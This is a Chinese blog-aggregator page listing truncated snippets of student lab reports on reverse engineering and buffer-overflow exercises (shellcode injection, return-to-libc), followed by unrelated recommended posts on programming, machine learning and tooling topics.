20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...
- 20145217《网络对抗》 逆向及BOF进阶实践学习总结
20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结
20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 《网络对抗》 逆向及Bof进阶实践
<网络对抗> 逆向及Bof进阶实践 实践目标 注入一个自己制作的shellcode并运行这段shellcode: 实践步骤 准备工作 root@5224:~# apt-get instal ...
- 20145317 网络对抗技术 逆向与Bof基础
20145317 网络对抗技术 逆向与Bof基础 实践要求 1. 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码 2. 掌握反汇编与十六进制编程器 3. 能正确修改机器指令改变程序执行流程 ...
- 20145227鄢曼君《网络对抗》逆向及Bof基础
20145227鄢曼君<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...
- 20145312《网络对抗》 逆向及Bof基础实践
20145312 <网络对抗> 逆向及Bof基础实践 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
随机推荐
- DevExpress v17.2新版亮点—Mobile Controls篇
用户界面套包DevExpress v17.2日前终于正式发布,本站将以连载的形式为大家介绍各版本新增内容.本文将介绍了Mobile Controls v17.2 的新功能,快来下载试用新版本! New ...
- 不挣扎了,MVC验证错误信息汇总是酱紫的
public static string GetModelErros(this ModelStateDictionary dic) { var sb = new StringBuilder(); va ...
- 互评Beta版本
作业要求[https://edu.cnblogs.com/campus/nenu/2018fall/homework/2448] 基于NABCD评论作品,及改进建议 1.杨老师粉丝群.作品:<P ...
- cmd 环境变量设置的简单方法
1.查看当前所有可用的环境变量:输入 set 即可查看. 2.查看某个环境变量:输入 “set 变量名”即可,比如想查看temp变量的值,即输入 set temp 3.修改环境变量 :输入 “set ...
- [ML] 解决样本类别分布不均衡的问题
转自:3.4 解决样本类别分布不均衡的问题 | 数据常青藤 (组织排版上稍有修改) 3.4 解决样本类别分布不均衡的问题 说明:本文是<Python数据分析与数据化运营>中的“3.4 解决 ...
- iOS-----使用CFNetwork实现TCP协议的通信
使用CFNetwork实现TCP协议的通信 TCP/IP通信协议是一种可靠的网络协议,它在通信的两端各建立一个通信接口,从而在通信的两端之间形成网络虚拟链路.一旦建立了虚拟的网络链路,两端的程序就可以 ...
- Hign-Speed Tracking with Kernelzied Correlation Filters
reference:Hign-Speed Tracking with Kernelzied Correlation Filters questions: The core componet of mo ...
- opencv-python教程学习系列12-图像阈值
前言 opencv-python教程学习系列记录学习python-opencv过程的点滴,本文主要介绍图像阈值/二值化,坚持学习,共同进步. 系列教程参照OpenCV-Python中文教程: 系统环境 ...
- Windows-CreateProcess-fdwCreate
DEBUG_PROCESS: DEBUG_ONLY_THIS_PROCESS: CREATE_SUSPENDED: DETACHED_PROCESS: CREATE_NEW_CONSOLE: CREA ...
- 出于迁移项目的考虑,GitHub 中 Fork 出来的项目,如何与原项目断开 Fork 关系?
如果需要为 GitHub 上的项目做贡献,我们通常会 Fork 到自己的名称空间下.在推送代码之后添加 pull request 时,GitHub 会自动为我们跨仓库建立 pull request 的 ...